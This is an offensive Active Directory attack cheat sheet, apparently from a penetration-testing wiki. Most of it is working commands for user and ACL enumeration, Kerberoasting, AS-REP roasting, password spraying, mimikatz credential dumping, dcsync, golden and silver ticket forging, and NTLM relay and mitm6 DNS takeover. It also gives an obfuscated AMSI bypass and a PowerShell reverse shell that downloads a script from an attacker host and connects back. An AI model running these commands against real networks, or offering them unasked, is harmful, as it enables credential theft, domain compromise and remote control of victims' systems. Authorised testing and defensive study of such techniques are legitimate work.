AD
Info
Basic Active Directory terms
Users
Agent represented by a user account.
Regular user accounts (used by employees or for specific task as backups)
Computer accounts (ends with $). Computers in AD are a users subclass.
Services
Identified by SPN which indicates the service name and class, the owner and the host computer.
Is executed in a computer (the host of the service) as a process.
Services (as any process) are running in the context of a user account, with the privileges and permissions of that user.
The SPN’s of the services owned by an user are stored in the attribute ServicePrincipalName of that account.
Usually Domain Admin or similar role is required to modify the SPN’s of a user.
General
# Anonymous Credential LDAP Dumping:
ldapsearch -LLL -x -H ldap:// -b ‘’ -s base ‘(objectclass=*)’
# Impacket GetADUsers.py (Must have valid credentials)
GetADUsers.py -all -dc-ip
# Impacket lookupsid.py
/usr/share/doc/python3-impacket/examples/lookupsid.py username:password@172.21.0.0
# Windapsearch:
# https://github.com/ropnop/windapsearch
python3 windapsearch.py -d host.domain -u domain\\ldapbind -p PASSWORD -U
# Go version https://github.com/ropnop/go-windapsearch
# CME
cme smb IP -u '' -p '' --users --shares
# BloodHound
# https://github.com/BloodHoundAD/BloodHound/releases
# https://github.com/BloodHoundAD/SharpHound3
# https://github.com/chryzsh/DarthSidious/blob/master/enumeration/bloodhound.md
Import-Module .\sharphound.ps1
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All -domain target-domain -LDAPUser username -LDAPPass password
# Bloodhound.py (no shell needed) remote, ldap auth
https://github.com/fox-it/BloodHound.py
bloodhound-python -u <user> -p '<password>' -ns <dc.ip> -d <domain.name> -c all
# BloodHound Cheatsheet
# https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
# Bloodhound raw queries
# https://github.com/xenoscr/Useful-BloodHound-Queries
# Bloodhound complements
# https://github.com/RastreatorTeam/rastreator
# https://github.com/kaluche/bloodhound-quickwin
# https://github.com/knavesec/Max
# https://github.com/improsec/ImproHound
# https://github.com/fox-it/aclpwn.py
# Get BH data from LDAP
https://github.com/c3c/ADExplorerSnapshot.py
# Rubeus
# https://github.com/GhostPack/Rubeus
## ASREProasting:
Rubeus.exe asreproast /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>
## Kerberoasting:
Rubeus.exe kerberoast /outfile:<output_TGSs_file>
Rubeus.exe kerberoast /outfile:hashes.txt [/spn:"SID-VALUE"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
## Pass the key (PTK):
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt
# Using the ticket on a Windows target:
Rubeus.exe ptt /ticket:<ticket_kirbi_file>
# Password Spraying tool
https://github.com/dafthack/DomainPasswordSpray
# Kerberoast
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
# Powerview
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Find-InterestingDomainShareFile
–CheckAccess
# AD Cheatsheets
https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet
# References:
https://wadcoms.github.io/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#most-common-paths-to-ad-compromise
https://github.com/infosecn1nja/AD-Attack-Defense
https://adsecurity.org/?page_id=1821
https://github.com/sense-of-security/ADRecon
https://adsecurity.org/?p=15
https://adsecurity.org/?cat=7
https://adsecurity.org/?page_id=4031
https://www.fuzzysecurity.com/tutorials/16.html
https://blog.stealthbits.com/complete-domain-compromise-with-golden-tickets/
http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain
https://adsecurity.org/?p=1588
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://www.harmj0y.net/blog/tag/powerview/
https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos
https://github.com/dievus/Oh365UserFinder
https://o365blog.com/aadinternals/
Common vulns
# Users having rights to add computers to domain
add-computer –domainname org.local -Credential ORG\john -restart –force
# AdminCount attribute set on common users
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
Import-Module ActiveDirectory
Get-AdObject -ldapfilter "(admincount=1)" -properties admincount
# High number of users in privileged groups
net group "Schema Admins" /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
runas /netonly /user:<DOMAIN>\<USER> cmd.exe
- Linux:
net rpc group members 'Schema Admins' -I <DC-IP> -U "<USER>"%"<PASS>"
net rpc group members 'Domain Admins' -I <DC-IP> -U "<USER>"%"<PASS>"
net rpc group members 'Enterprise Admins' -I <DC-IP> -U "<USER>"%"<PASS>"
net rpc group members 'Domain Admins' -I 10.10.30.52 -U "john"%"pass123"
# Service accounts being members of Domain Admins
net group "Schema Admins" /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
# Excessive privileges allowing for shadow Domain Admins
Bloodhound/Sharphound
# Service accounts vulnerable to Kerberoasting
GetUserSPNs.py -request example.com/john:pass123
hashcat -m 13100 -a 0 -O --self-test-disable hashes.txt wordlist.txt
# Users with non-expiring passwords
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
grep DONT_EXPIRE_PASSWD domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3}'
- PS
Import-Module ActiveDirectory
Get-ADUser -filter * -properties Name, PasswordNeverExpires | where { $_.passwordNeverExpires -eq "true" } | where {$_.enabled -eq "true" }
# Users with password not required
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
grep PASSWD_NOTREQD domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3}'
- PS
Import-Module ActiveDirectory
Get-ADUser -Filter {UserAccountControl -band 0x0020}
# Storing passwords using reversible encryption
mimikatz # lsadump::dcsync /domain:example.com /user:poorjohn
# Storing passwords using LM hashes
- In NTDS.dit
grep -iv ':aad3b435b51404eeaad3b435b51404ee:' dumped_hashes.txt
# Service accounts vulnerable to AS-REP roasting
GetNPUsers.py example.com/ -usersfile userlist.txt -format hashcat -no-pass
GetNPUsers.py example.com/john:pass123 -request -format hashcat
hashcat -m 18200 -a 0 -O --self-test-disable hashes.txt wordlist.txt
- PS
Import-Module ActiveDirectory
Get-ADuser -filter * -properties DoesNotRequirePreAuth | where {$._DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name
# Weak domain password policy
net accounts /domain
polenum --username john --password pass123 --domain 10.10.51.11
enum4linux -P -u john -p pass123 -w dom.local 172.21.1.60
# Inactive domain accounts
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
sort -t ';' -k 8 domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3, $8}'
# Privileged users with password reset overdue
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json > privileged_users.txt
while read user; do grep ";${user};" domain_users.grep; done < privileged_users.txt | \
grep -v ACCOUNT_DISABLED | sort -t ';' -k 10 | awk -F ';' '{print $3, $10}'
# Users with a weak password
$a = [adsisearcher]”(&(objectCategory=person)(objectClass=user))”
$a.PropertiesToLoad.add(“samaccountname”) | out-null
$a.PageSize = 1
$a.FindAll() | % { echo $_.properties.samaccountname } > users.txt
Import-Module ./adlogin.ps1
adlogin users.txt domain.com password123
# Credentials in SYSVOL and Group Policy Preferences (GPP)
findstr /s /n /i /p password \\example.com\sysvol\example.com\*
mount.cifs -o domain=example.com,username=john,password="pass@123" //10.10.139.115/SYSVOL /mnt
grep -ir 'password' /mnt
Quick tips
# Amsi bypass
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
# Powershell Execution policy Bypass
powershell -ep bypass
# To input the output of the first command into second command use this powershell technique
# %{} is an alias for ForEach-Object{}
# ?{} is an alias for Where-Object{}
# $_ is variable
<First command> | %{<Second command> -<argument> $_}
# To filter out an object type we can use this technique with pipe.
?{$_.<object> -eq '<value>’'}
# Find local admin access
Find-LocalAdminAccess
# Get Domain sid
Get-DomainSID
Arguments -Domain “domain name”
# Get DC
Get-NetDomainController
Arguments -Domain “domain name”
# Get users in current domain
Get-NetUser
Arguments -UserName “username”
# Get user properties
Get-UserProperty
Arguments -Properties pwdlastset
# Search for a particular string in a user's attributes
Find-UserField -SearchField Description -SearchTerm ”built”
# Get all computers
Get-NetComputer -FullData
Many arguments -OperatingSystem -Ping -FullData
# Get groups
Get-NetGroup
Arguments -FullData -Domain
# Get members of a particular group
Get-NetGroupMember -GroupName "Domain Admins"
# Group Policies
Get-NetGPO Get-NetGPO -ComputerName Get-NetGPOGroup
# Get users that are part of a Machine's local Admin group
Find-GPOComputerAdmin -ComputerName
# Get OUs
Get-NetOU -FullData Get-NetGPO -GPOname
# Mapping forest
Get-NetForest -Verbose
Get-NetForestDomain -Verbose
# Mapping trust
Get-NetDomainTrust
Arguments -Domain
Get-NetForestDomain -Verbose | Get-NetDomainTrust
# Finding Constrained Delegation
Get-DomainUser -TrustedToAuth (Poweview Dev.)
# Finding UnConstrained Delegation
Get-NetComputer -UnConstrained
# Get ACLs
Get-ObjectAcl -SamAccountName -ResolveGUIDs Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
# Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs
# Reverse Shell
powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.113/Invoke-PowerShellTcp.ps1'));Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.X -Port 443
powershell.exe iex (iwr http://172.16.100.113/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.113 -Port 443
#Mimikatz
# Make ntlm ps-session
Invoke-Mimikatz -Command '"sekurlsa::pth /user: /domain: /ntlm: /run:powershell.exe"'
# Dump creds
Invoke-Mimikatz
Invoke-Mimikatz -Command ‘“lsadump::lsa /patch”’
Invoke-Mimikatz -Command '"lsadump::dcsync /user:\krbtgt"'
(dcsync requires 3 permission )
# Tickets
Inject ticket:-
Invoke-Mimikatz -Command '"kerberos::ptt <location of .kirbi tkt>"'
Export Tickets:-
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
# Golden tkt
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain's SID> /krbtgt:<krbtgt hash> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
# Silver tkt
Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<target> /service:<ServiceType> /rc4:<rc4 NTLM Hash of user> /user:<UserToImpersonate> /ptt"'
# TGT tkt
kekeo.exe tgt::ask /user:<user name> /domain:<domain name> /rc4:<rc4 NTLM Hash of user>
# TGS tkt
Kekeo.exe
tgs::s4u /tgt:tgt_ticket.kirbi /user:<user>@<domain> /service:<service name>/<server name>
Relay attacks flow
Scan
# First just listen
sudo responder -I eth0 -A
# Check SMB signing disabled
crackmapexec smb 10.10.10.0/24 --gen-relay-list smb_sign_disabled.txt
Basic attack A
# Modify responder.cfg to disable HTTP and SMB servers
# Start ntmlrelay.py against smb_sign_disabled.txt hosts list
ntlmrelayx.py -tf smb_sign_disabled.txt
# Then start responder in attack mode
responder -rdP -I eth0
# Cracking NTLMv2
hashcat -m 5600 ntlmhash.txt /usr/share/wordlists/rockyou.txt --force
Basic attack B (socks proxy)
# Modify responder.cfg to disable HTTP and SMB servers
# Start ntmlrelay.py against smb_sign_disabled.txt hosts list
ntlmrelayx.py -tf smb_sign_disabled.txt -smb2support -socks
# Edit proxychains4.conf to:
socks4 127.0.0.1 1080
# Run secretsdump
proxychains secretsdump.py dcname\user:password@10.10.10.X
# Even smbclient
proxychains smbclient.py dcname\user:password@10.10.10.X
LDAP Enum
ntlmrelayx.py -t ldap://10.10.10.10 -smb2support
IPv6 DNS Takeover via Mitm6
git clone https://github.com/fox-it/mitm6.git
pip install mitm6
mitm6 -d domain.name
# During before step, in other terminal run
ntlmrelayx.py -6 -t ldaps://192.168.176.129 -wh fakewpadhost.domain.name -l dir
LDAP complete guide
AD Mindmap
DACL mindmap
Last updated